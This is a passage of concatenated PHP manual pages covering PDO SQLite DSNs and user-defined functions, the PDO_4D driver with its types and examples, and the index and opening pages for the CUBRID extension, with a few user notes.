If you receive an error while trying to write to a sqlite database (update, delete, drop):

Warning: PDO::query() [function.query]: SQLSTATE[HY000]: General error: 1 unable to open database

The folder that houses the database file must be writeable.


Connecting to SQLite databases

  • « SQLite (PDO)
  • PDO::sqliteCreateAggregate »
  • PHP Manual
  • SQLite (PDO)
  • Connecting to SQLite databases

PDO_SQLITE DSN

(PECL PDO_SQLITE >= 0.2.0)

PDO_SQLITE DSN — Connecting to SQLite databases

Description

The PDO_SQLITE Data Source Name (DSN) is composed of the following elements:

DSN prefix (SQLite 3)

The DSN prefix is sqlite:.

  • To access a database on disk, append the absolute path to the DSN prefix.

  • To create a database in memory, append :memory: to the DSN prefix.

DSN prefix (SQLite 2)

The SQLite extension in PHP 5.1 provides a PDO driver that supports accessing and creating SQLite 2 databases. This enables you to access databases you may have created with the SQLite extension in previous versions of PHP.

Note:

The sqlite2 driver is only available in PHP 5.1.x if you have enabled both PDO and ext/sqlite. It is not currently available via PECL.

The DSN prefix for connecting to SQLite 2 databases is sqlite2:.

  • To access a database on disk, append the absolute path to the DSN prefix.

  • To create a database in memory, append :memory: to the DSN prefix.

Examples

Example #1 PDO_SQLITE DSN examples

The following examples show PDO_SQLITE DSN for connecting to SQLite databases:

sqlite:/opt/databases/mydb.sq3
sqlite::memory:
sqlite2:/opt/databases/mydb.sq2
sqlite2::memory:

User Contributed Notes

frederic dot glorieux at diple dot net 11-Aug-2011 12:20
In memory sqlite has some limitations. The memory space could be the request, the session, but no way seems documented to share a base in memory among users.

For a request, open your base with the code
$pdo = new PDO( 'sqlite::memory:');
and your base will disapear on next request.

For session persistency
<?php
$pdo = new PDO(
    'sqlite::memory:',
    null,
    null,
    array(PDO::ATTR_PERSISTENT => true)
);
?>
FST777 21-Apr-2008 02:27
@ Fatmoon
That is correct. SQLite sometimes uses additional files in the same folder while writing to the DB. These files can sometimes be seen and usually contain the name of your DB and the word 'journal' in their filename.
Security wise, it might be a good idea to store the SQLite databases in a seperate folder to shield the rest from user www.
Fatmoon 21-Apr-2008 04:42
It seems that the directory that contains your sqlite database must be writeable by the web server. Making just the file writeable won't work.
rick 30-Oct-2006 07:51
Don't forget "extension=php_pdo_sqlite.dll" has to be enabled in php.ini (if you use xampp is will be disabled by default) .


Registers an aggregating User Defined Function for use in SQL statements

  • « PDO_SQLITE DSN
  • PDO::sqliteCreateFunction »
  • PHP Manual
  • SQLite (PDO)
  • Registers an aggregating User Defined Function for use in SQL statements

PDO::sqliteCreateAggregate

(PHP 5 >= 5.1.0, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateAggregate — Registers an aggregating User Defined Function for use in SQL statements

Description

public bool PDO::sqliteCreateAggregate ( string $function_name , callable $step_func , callable $finalize_func [, int $num_args ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

This method is similar to PDO::sqliteCreateFunction except that it registers functions that can be used to calculate a result aggregated across all the rows of a query.

The key difference between this method and PDO::sqliteCreateFunction is that two functions are required to manage the aggregate.

Parameters

function_name

The name of the function used in SQL statements.

step_func

Callback function called for each row of the result set. Your PHP function should accumulate the result and store it in the aggregation context.

This function need to be defined as:

mixed step ( mixed $context , int $rownumber , mixed $value1 [, mixed $value2 [, mixed $.. ]] )

context will be NULL for the first row; on subsequent rows it will have the value that was previously returned from the step function; you should use this to maintain the aggregate state.

rownumber will hold the current row number.

The return value of this function will be used as the context argument in the next call of the step or finalize functions.

finalize_func

Callback function to aggregate the "stepped" data from each row. Once all the rows have been processed, this function will be called and it should then take the data from the aggregation context and return the result. Callback functions should return a type understood by SQLite (i.e. scalar type).

This function need to be defined as:

mixed fini ( mixed $context , int $rownumber )

context will hold the return value from the very last call to the step function.

rownumber will hold the number of rows over which the aggregate was performed.

The return value of this function will be used as the return value for the aggregate.

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
    $insert->execute(array($str));
}
$insert = null;

function max_len_step(&$context, $rownumber, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
    return $context;
}

function max_len_finalize(&$context, $rownumber)
{
    return $context;
}

$db->sqliteCreateAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->query('SELECT max_len(a) from strings')->fetchAll());

?>

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

Tip

It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

Tip

You can use PDO::sqliteCreateFunction and PDO::sqliteCreateAggregate to override SQLite native SQL functions.

Note:

This method is not available with the SQLite2 driver. Use the old style sqlite API for that instead.

See Also

  • PDO::sqliteCreateFunction
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

There are no user contributed notes for this page.


Registers a User Defined Function for use in SQL statements

  • « PDO::sqliteCreateAggregate
  • 4D (PDO) »
  • PHP Manual
  • SQLite (PDO)
  • Registers a User Defined Function for use in SQL statements

PDO::sqliteCreateFunction

(PHP 5 >= 5.1.0, PECL pdo_sqlite >= 1.0.0)

PDO::sqliteCreateFunction — Registers a User Defined Function for use in SQL statements

Description

public bool PDO::sqliteCreateFunction ( string $function_name , callable $callback [, int $num_args ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

This method allows you to register a PHP function with SQLite as an UDF (User Defined Function), so that it can be called from within your SQL statements.

The UDF can be used in any SQL statement that can call functions, such as SELECT and UPDATE statements and also in triggers.

Parameters

function_name

The name of the function used in SQL statements.

callback

Callback function to handle the defined SQL function.

Note: Callback functions should return a type understood by SQLite (i.e. scalar type).

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 PDO::sqliteCreateFunction() example

<?php
function md5_and_reverse($string)
{
    return strrev(md5($string));
}

$db = new PDO('sqlite:sqlitedb');
$db->sqliteCreateFunction('md5rev', 'md5_and_reverse', 1);
$rows = $db->query('SELECT md5rev(filename) FROM files')->fetchAll();
?>

In this example, we have a function that calculates the md5 sum of a string, and then reverses it. When the SQL statement executes, it returns the value of the filename transformed by our function. The data returned in $rows contains the processed result.

The beauty of this technique is that you do not need to process the result using a foreach loop after you have queried for the data.

Tip

You can use PDO::sqliteCreateFunction and PDO::sqliteCreateAggregate to override SQLite native SQL functions.

Note:

This method is not available with the SQLite2 driver. Use the old style sqlite API for that instead.

See Also

  • PDO::sqliteCreateAggregate
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

RoboTamer 08-Aug-2012 07:50
groups looks like this '1,2,3,999'

<?php
/**
 * int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
 */
$dbUser = new PDO('sqlite:'.ROOT.'/var/db/users.db3');
$dbUser->sqliteCreateFunction('strpos', 'strpos', 2);
$sql = 'SELECT username FROM users WHERE strpos(groups,",2,");';
$rows = $dbUser->query($sql)->fetchAll(PDO::FETCH_ASSOC);
print_r($rows);

?>


4D Functions (PDO_4D)

Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

PDO_4D is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to 4D databases.

4D is an integrated platform that speeds and simplifies the development and deployment of business applications, used in over 70 countries, by a community of thousands of developers and vertical solution providers, with millions of end-users worldwide.

By offering a suite of integrated tools such as an ANSI SQL relational and transactional database, a graphical development environment, a fourth-generation language with over 1000 high-level commands, a built-in HTTP server, application server, etc., 4D facilitates the creation and maintenance of applications from one to hundreds of simultaneous users, whether on Windows, Mac or from any Web client.

4D is also an open platform, offering a complete API for plug-in creation, including various connectors that allow it to act as a back-end or front-end for many environments (Oracle via OCI, SOAP client or server, Flex data source, all ODBC databases, XML over HTTP, etc.)

In addition to the ability to interact with 4D applications across Web Services, 4D databases can now be directly accessed using the PDO_4D driver.

More details about the 4D development environment on » http://www.4d.com/.

PDO_4D is known to work with 4D versions 12 beta and up, for Mac OS X and Windows. Older plat-forms may work, but are unsupported.

Table of Contents

  • PDO_4D DSN — Connecting to 4D SQL server
  • Constants for PDO_4D — Constants for PDO_4D
  • SQL types with PDO_4D and PHP — SQL types with PDO_4D and PHP
  • SQL acceptable by 4D — PDO and SQL 4D
  • Examples with PDO_4D — Examples PDO_4D

User Contributed Notes

There are no user contributed notes for this page.


Connecting to 4D SQL server

  • « 4D (PDO)
  • Constants for PDO_4D »
  • PHP Manual
  • 4D (PDO)
  • Connecting to 4D SQL server

PDO_4D DSN

(No version information available, might only be in Git)

PDO_4D DSN — Connecting to 4D SQL server

Description

The PDO_4D DSN consists of:

DSN prefix

The DSN prefix is 4D:.

host

The host on which the 4D SQL server is.

port

The port number for the server. This is optional.

user

The login name when connecting to the database.

password

The password for the above login.

dbname

The name of the database. This parameter is optional, and it is not used.

charset

The 4D character set.

Examples

Example #1 DSN examples for PDO_4D

The following examples has two DSN for PDO_4D, that connects to a 4D database :

4D:host=localhost;charset=UTF-8
Other possible values :
4D:host=localhost
4D:

User Contributed Notes

There are no user contributed notes for this page.


Constants for PDO_4D

(No version information available, might only be in Git)

Constants for PDO_4D — Constants for PDO_4D

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::FOURD_ATTR_CHARSET (integer)

Change the charset in which 4D returns data. (Default is UTF-8).

PDO::FOURD_ATTR_PREFERRED_IMAGE_TYPES (integer)

The requested format of the image, when selecting a row with a column type PICTURE. It may be any type that 4D supports.

User Contributed Notes

There are no user contributed notes for this page.


SQL types with PDO_4D and PHP

(No version information available, might only be in Git)

SQL types with PDO_4D and PHP — SQL types with PDO_4D and PHP

Supported SQL types
Type SQL 4D | Equivalent 4D | Note
ALPHA_NUMERIC | TEXT |
VARCHAR | TEXT |
TEXT | TEXT |
TIMESTAMP | DATE |
INTERVAL | HOUR |
DURATION | HOUR |
BOOLEAN | BOOLEAN |
BIT | BOOLEAN |
BYTE | INT32 |
INT16 | SMALLINT |
SMALLINT | SMALLINT |
INT32 | INT32 |
INT | INT32 |
INT64 | INT64 |
NUMERIC | INT64 |
REAL | REAL | Unsupported (use VARCHAR conversion)
FLOAT | FLOAT | Unsupported (use VARCHAR conversion)
DOUBLE PRECISION | FLOAT |
BLOB | BLOB | Must use a prepared statement, and PDO::PARAM_LOB
BIT VARYING | BLOB | Must use a prepared statement, and PDO::PARAM_LOB
CLOB | TEXT |
PICTURE | PICTURE | Must use a prepared statement, and PDO::PARAM_LOB

User Contributed Notes

There are no user contributed notes for this page.


PDO and SQL 4D

  • « SQL types with PDO_4D and PHP
  • Examples with PDO_4D »
  • PHP Manual
  • 4D (PDO)
  • PDO and SQL 4D

SQL acceptable by 4D

(No version information available, might only be in Git)

SQL acceptable by 4D — PDO and SQL 4D

Description

4D implements strictly the ANSI 89 standard, and have it enforced. It is highly recommended to read the 4D SQL documentation to learn about the available commands. The URL of the manual is : » http://doc.4d.com/. Below is a list of 4D SQL characteristics: it is not exhaustive, but may serve as an introduction.

Characteristics of 4D SQL
Characteristics | Alternative | Note
INTEGER | Modify the SQL to use INT. | INT is the supported integer type in 4Dv12.0.
CHAR | Use VARCHAR instead. | Unsupported in 4Dv12.0
UNION | Unsupported. Make separate queries. | Unsupported in 4Dv12.0
SELECT 1 + 1; | SELECT 1 + 1 FROM _USER_SCHEMAS; | FROM is required
FLOAT | Cast the FLOAT value into a FLOAT or STRING, with an SQL 4D function (CAST, ROUND, TRUNC or TRUNCATE) | Unsupported in current versions of the PDO_4D driver
Strong typing | Take care your SQL query, or your PHP code provides data with the expected type | One must provide the right type that 4D expect. One can't insert '1' (as a string) in an INTEGER column.
PDO::execute($row)() : only works if all the table's column are of type TEXT or VARCHAR | Use the prepared statements, and use the right types. | The PDO extension cast all values through execute() as string, and expect the SQL database to parse the values.
SELECT NULL FROM TABLE | Do not use NULL constants. Extract them from the table | It is not allowed to use the NULL constant in the select list
SELECT * FROM TABLE WHERE 1 | Use WHERE 1 = 1 | A constant can't be used in a WHERE clause
SHOW TABLES | Use system tables | The list of tables, schemas, index, etc. are in these system tables : _USER_TABLES, _USER_COLUMNS, _USER_INDEXES, _USER_CONSTRAINTS, _USER_IND_COLUMNS, _USER_CONS_COLUMNS, and _USER_SCHEMAS.
SQL structure delimiter | Use the following function to protect SQL elements: function sqlEscapeElement(elem) { return '[' . str_replace(']',']]', $elem) . ']'; } | To escape SQL elements names (tables, fields, users, groups, schema, primary key, etc.), the whole identifier must be between square brackets, and the closing brackets ']' must be doubled.

User Contributed Notes

There are no user contributed notes for this page.


Examples PDO_4D

  • « SQL acceptable by 4D
  • Vendor Specific Database Extensions »
  • PHP Manual
  • 4D (PDO)
  • Examples PDO_4D

Examples with PDO_4D

(No version information available, might only be in Git)

Examples with PDO_4D — Examples PDO_4D

This basic example show how to connect, execute a query, read data and disconnect from a 4D SQL server.

Example #1 Basic example with PDO_4D

<?php
$dsn = '4D:host=localhost;charset=UTF-8';
$user = 'test';
$pass = 'test';

// Connection to the 4D SQL server
$db = new PDO($dsn, $user, $pass);

try {
    $db->exec('CREATE TABLE test(id varCHAR(1) NOT NULL, val VARCHAR(10))');
} catch (PDOException $e) {
    die("Erreur 4D : " . $e->getMessage());
}

$db->exec("INSERT INTO test VALUES('A', 'B')");
$db->exec("INSERT INTO test VALUES('C', 'D')");
$db->exec("INSERT INTO test VALUES('E', 'F')");

$stmt = $db->prepare('SELECT id, val from test');

$stmt->execute();
print_r($stmt->fetchAll());

unset($stmt);
unset($db);
?>

The above example will output:

    Array
(
    [0] => Array
        (
            [ID] => A
            [0] => A
            [VAL] => B
            [1] => B
        )

    [1] => Array
        (
            [ID] => C
            [0] => C
            [VAL] => D
            [1] => D
        )

    [2] => Array
        (
            [ID] => E
            [0] => E
            [VAL] => F
            [1] => F
        )

)

This example shows how to execute a query in 4D language, and how to read the result through PDO_4D.

Example #2 Accessing 4D language from pdo_4d

Set up a 4D method, called method. Make sure in the method properties that the option Available via SQL is checked. The 4D code is the following.

C_TEXTE($0)
$0:=Version application(*);

The PHP code to use the above 4D method is :

<?php
$dsn = '4D:host=localhost;charset=UTF-8';
$user = 'test';
$pass = 'test';

// Connection to the 4D server
$db = new PDO($dsn, $user, $pass);

$stmt = $db->prepare('SELECT {FN method() AS VARCHAR } FROM _USER_SCHEMAS LIMIT 1');

$stmt->execute();
print_r($stmt->fetchAll());

unset($stmt);
unset($db);
?>

The above example will output:

(
    [0] => Array
        (
            [<expression>] => F0011140
            [0] => F0011140
        )

)

Example #3 Escaping 4D table names

This examples illustrates how to escape characters in a 4D SQL query.

<?php
$dsn = '4D:host=localhost;charset=UTF-8';
$user = 'test';
$pass = 'test';

// Connection to 4D server 4D
$db = new PDO($dsn, $user, $pass);

$objects = array('[',']','[]','][','[[',']]','[[[',']]]','TBL ]]32[23');

foreach($objects as $id => $object) {
    $object = str_replace(']',']]', $object);
    print "$object\n";

    $db->exec('CREATE TABLE IF NOT EXISTS ['.$object.'](['.$object.'] FLOAT)');

    $req = "INSERT INTO [$object] ([$object]) VALUES ($id);";
    $db->query($req);

    $q = $db->prepare("SELECT [$object] FROM [$object]");
    $q->execute();
    $x[] = $q->fetch(PDO::FETCH_NUM);

    $db->exec('DROP TABLE ['.$object.'];');
}

?>

The above example will output:

[
]]
[]]
]][
[[
]]]]
[[[
]]]]]]
TBL ]]]]32[23

User Contributed Notes

There are no user contributed notes for this page.


Vendor Specific Database Extensions

  • CUBRID
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • CUBRID Functions
    • CUBRID MySQL Compatibility Functions
    • CUBRID Obsolete Aliases and Functions
  • DB++
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • DB++ Functions
  • dBase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • dBase Functions
  • filePro
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • filePro Functions
  • Firebird/InterBase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Firebird/InterBase Functions
  • FrontBase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • FrontBase Functions
  • IBM DB2 — IBM DB2, Cloudscape and Apache Derby
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • IBM DB2 Functions
  • Informix
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Informix Functions
  • Ingres — Ingres DBMS, EDBC, and Enterprise Access Gateways
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Ingres Functions
  • MaxDB
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • MaxDB Functions
  • Mongo — MongoDB
    • Installing/Configuring
    • Predefined Constants
    • Manual
    • Core Classes
    • Types
    • GridFS Classes
    • Batch Classes
    • Miscellaneous
    • Mongo Functions
    • Exceptions
    • Changelog
  • mSQL
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • mSQL Functions
  • Mssql — Microsoft SQL Server
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mssql Functions
  • MySQL — MySQL Drivers and Plugins
    • Overview of the MySQL PHP drivers
    • Mysql — Original MySQL API
    • Mysqli — MySQL Improved Extension
    • Mysqlnd — MySQL Native Driver
    • mysqlnd_ms — Mysqlnd replication and load balancing plugin
    • mysqlnd_qc — Mysqlnd query result cache plugin
    • mysqlnd_uh — Mysqlnd user handler plugin
    • mysqlnd_mux — Mysqlnd connection multiplexing plugin
    • mysqlnd_memcache — Mysqlnd Memcache plugin
  • OCI8 — Oracle OCI8
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • OCI8 Connection Handling and Connection Pooling
    • OCI8 Fast Application Notification (FAN) Support
    • OCI8 and DTrace Dynamic Tracing
    • Supported Datatypes
    • OCI8 Functions
    • OCI-Collection — The OCI-Collection class
    • OCI-Lob — The OCI-Lob class
    • OCI8 Obsolete Aliases and Functions
  • Paradox — Paradox File Access
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Paradox Functions
  • PostgreSQL
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PostgreSQL Functions
  • SQLite
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SQLite Functions
  • SQLite3
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SQLite3 — The SQLite3 class
    • SQLite3Stmt — The SQLite3Stmt class
    • SQLite3Result — The SQLite3Result class
  • SQLSRV — Microsoft SQL Server Driver for PHP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SQLSRV Functions
  • Sybase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Sybase Functions
  • tokyo_tyrant
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • TokyoTyrant — The TokyoTyrant class
    • TokyoTyrantTable — The TokyoTyrantTable class
    • TokyoTyrantQuery — The TokyoTyrantQuery class
    • TokyoTyrantIterator — The TokyoTyrantIterator class
    • TokyoTyrantException — The TokyoTyrantException class

User Contributed Notes

There are no user contributed notes for this page.


CUBRID

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • CUBRID Functions
    • cubrid_bind — Bind variables to a prepared statement as parameters
    • cubrid_close_prepare — Close the request handle
    • cubrid_close_request — Close the request handle
    • cubrid_col_get — Get contents of collection type column using OID
    • cubrid_col_size — Get the number of elements in collection type column using OID
    • cubrid_column_names — Get the column names in result
    • cubrid_column_types — Get column types in result
    • cubrid_commit — Commit a transaction
    • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
    • cubrid_connect — Open a connection to a CUBRID Server
    • cubrid_current_oid — Get OID of the current cursor location
    • cubrid_disconnect — Close a database connection
    • cubrid_drop — Delete an instance using OID
    • cubrid_error_code_facility — Get the facility code of error
    • cubrid_error_code — Get error code for the most recent function call
    • cubrid_error_msg — Get last error message for the most recent function call
    • cubrid_execute — Execute a prepared SQL statement
    • cubrid_fetch — Fetch the next row from a result set
    • cubrid_free_result — Free the memory occupied by the result data
    • cubrid_get_autocommit — Get auto-commit mode of the connection
    • cubrid_get_charset — Return the current CUBRID connection charset
    • cubrid_get_class_name — Get the class name using OID
    • cubrid_get_client_info — Return the client library version
    • cubrid_get_db_parameter — Returns the CUBRID database parameters
    • cubrid_get_query_timeout — Get the query timeout value of the request
    • cubrid_get_server_info — Return the CUBRID server version
    • cubrid_get — Get a column using OID
    • cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column
    • cubrid_is_instance — Check whether the instance pointed by OID exists
    • cubrid_lob_close — Close BLOB/CLOB data
    • cubrid_lob_export — Export BLOB/CLOB data to file
    • cubrid_lob_get — Get BLOB/CLOB data
    • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
    • cubrid_lob_size — Get BLOB/CLOB data size
    • cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters.
    • cubrid_lob2_close — Close LOB object.
    • cubrid_lob2_export — Export the lob object to a file.
    • cubrid_lob2_import — Import BLOB/CLOB data from a file.
    • cubrid_lob2_new — Create a lob object.
    • cubrid_lob2_read — Read from BLOB/CLOB data.
    • cubrid_lob2_seek64 — Move the cursor of a lob object.
    • cubrid_lob2_seek — Move the cursor of a lob object.
    • cubrid_lob2_size64 — Get a lob object's size.
    • cubrid_lob2_size — Get a lob object's size.
    • cubrid_lob2_tell64 — Tell the cursor position of the LOB object.
    • cubrid_lob2_tell — Tell the cursor position of the LOB object.
    • cubrid_lob2_write — Write to a lob object.
    • cubrid_lock_read — Set a read lock on the given OID
    • cubrid_lock_write — Set a write lock on the given OID
    • cubrid_move_cursor — Move the cursor in the result
    • cubrid_next_result — Get result of next query when executing multiple SQL statements
    • cubrid_num_cols — Return the number of columns in the result set
    • cubrid_num_rows — Get the number of rows in the result set
    • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
    • cubrid_pconnect — Open a persistent connection to a CUBRID server
    • cubrid_prepare — Prepare a SQL statement for execution
    • cubrid_put — Update a column using OID
    • cubrid_rollback — Roll back a transaction
    • cubrid_schema — Get the requested schema information
    • cubrid_seq_drop — Delete an element from sequence type column using OID
    • cubrid_seq_insert — Insert an element to a sequence type column using OID
    • cubrid_seq_put — Update the element value of sequence type column using OID
    • cubrid_set_add — Insert a single element to set type column using OID
    • cubrid_set_autocommit — Set autocommit mode of the connection
    • cubrid_set_db_parameter — Sets the CUBRID database parameters
    • cubrid_set_drop — Delete an element from set type column using OID
    • cubrid_set_query_timeout — Set the timeout time of query execution
    • cubrid_version — Get the CUBRID PHP module's version
  • CUBRID MySQL Compatibility Functions
    • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
    • cubrid_client_encoding — Return the current CUBRID connection charset
    • cubrid_close — Close CUBRID connection
    • cubrid_data_seek — Move the internal row pointer of the CUBRID result
    • cubrid_db_name — Get db name from results of cubrid_list_dbs
    • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
    • cubrid_error — Get the error message
    • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
    • cubrid_fetch_field — Get column information from a result and return as an object
    • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
    • cubrid_fetch_object — Fetche the next row and returns it as an object
    • cubrid_fetch_row — Return a numerical array with the values of the current row
    • cubrid_field_flags — Return a string with the flags of the given field offset
    • cubrid_field_len — Get the maximum length of the specified field
    • cubrid_field_name — Return the name of the specified field index
    • cubrid_field_seek — Move the result set cursor to the specified field offset
    • cubrid_field_table — Return the name of the table of the specified field
    • cubrid_field_type — Return the type of the column corresponding to the given field offset
    • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
    • cubrid_num_fields — Return the number of columns in the result set
    • cubrid_ping — Ping a server connection or reconnect if there is no connection
    • cubrid_query — Send a CUBRID query
    • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
    • cubrid_result — Return the value of a specific field in a specific row
    • cubrid_unbuffered_query — Perform a query without fetching the results into memory
  • CUBRID Obsolete Aliases and Functions
    • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
    • cubrid_new_glo — Create a glo instance
    • cubrid_save_to_glo — Save requested file in a GLO instance
    • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow you to access CUBRID database servers. More information about CUBRID can be found at » CUBRID.

Documentation for CUBRID can be found at » CUBRID Documentation.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

In order to have these functions available, you must install CUBRID, and compile CUBRID PHP Library with CUBRID support.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/cubrid.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

For information about manual installation on Linux and Windows systems, please read the file build-guide.html included in the package.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

There is no runtime configuration now.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There are four resource types used in CUBRID. The first one is the link identifier for a database connection, the second is the a resource which holds the result of a query, and the last two a resource which holds the query results of BLOB/CLOB data types.

connection identifier

A connection identifier returned by cubrid_connect(),
cubrid_connect_with_url(),
cubrid_pconnect() and
cubrid_pconnect_with_url().

request identifier

A request identifier returned by cubrid_prepare() and cubrid_execute().

LOB identifier

A LOB identifier returned by cubrid_lob_get().

LOB2 identifier

A LOB identifier returned by cubrid_lob2_new() or get from the result set.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants can be used when executing SQL statement. They can be passed to cubrid_prepare() and cubrid_execute().

CUBRID SQL execution flags
Constant | Description
CUBRID_INCLUDE_OID | Determine whether to get OID during query execution.
CUBRID_ASYNC | Execute the query in asynchronous mode.
CUBRID_EXEC_QUERY_ALL | Execute the query in synchronous mode. This flag must be set when executing multiple SQL statements.

The following constants can be used when fetching the results to specify fetch behaviour. They can be passed to cubrid_fetch() and cubrid_fetch_array().

CUBRID fetch flags
Constant | Description
CUBRID_NUM | Get query result as a numeric array (0-default).
CUBRID_ASSOC | Get query result as an associative array.
CUBRID_BOTH | Get query result as both numeric and associative arrays (default value).
CUBRID_OBJECT | Get query result an object.
CUBRID_LOB | The constant CUBRID_LOB can be used when you want to operate the lob object. It can be passed to cubrid_fetch(), cubrid_fetch_row(), cubrid_fetch_array(), cubrid_fetch_assoc() and cubrid_fetch_object().

The following constants can be used when positioning the cursor in query results. They can be passed to or returned by cubrid_move_cursor().

CUBRID cursor position flags
Constant | Description
CUBRID_CURSOR_FIRST | Move current cursor to the first position in the result.
CUBRID_CURSOR_CURRENT | Move current cursor as a default value if the origin is not specified.
CUBRID_CURSOR_LAST | Move current cursor to the last position in the result.
CUBRID_CURSOR_SUCCESS | Returned value of cubrid_move_cursor() function in case of success. This flag has been removed from 8.4.1.
CUBRID_NO_MORE_DATA | Returned value of cubrid_move_cursor() function in case of failure. This flag has been removed from 8.4.1.
CUBRID_CURSOR_ERROR | Returned value of cubrid_move_cursor() function in case of failure. This flag has been removed from 8.4.1.

The following constants can be used when setting the auto-commit mode for the database connection. They can be passed to cubrid_set_autocommit() or returned by cubrid_get_autocommit().

CUBRID auto-commit mode flags
Constant | Description
CUBRID_AUTOCOMMIT_TRUE | Enable the auto-commit mode.
CUBRID_AUTOCOMMIT_FALSE | Disable the auto-commit mode.

The following constants can be used when setting the database parameter. They can be passed to cubrid_set_db_parameter().

CUBRID parameter flags
Constant | Description
CUBRID_PARAM_ISOLATION_LEVEL | Transaction isolation level for the database connection.
CUBRID_PARAM_LOCK_TIMEOUT | Transaction timeout in seconds.

The following constants can be used when setting the transaction isolation level. They can be passed to cubrid_set_db_parameter() or returned by cubrid_get_db_parameter().

CUBRID isolation level flags
Constant | Description
TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | The lowest isolation level (1). A dirty, non-repeatable or phantom read may occur for the tuple and a non-repeatable read may occur for the table as well.
TRAN_COMMIT_CLASS_COMMIT_INSTANCE | A relatively low isolation level (2). A dirty read does not occur, but non-repeatable or phantom read may occur.
TRAN_REP_CLASS_UNCOMMIT_INSTANCE | The default isolation of CUBRID (3). A dirty, non-repeatable or phantom read may occur for the tuple, but repeatable read is ensured for the table.
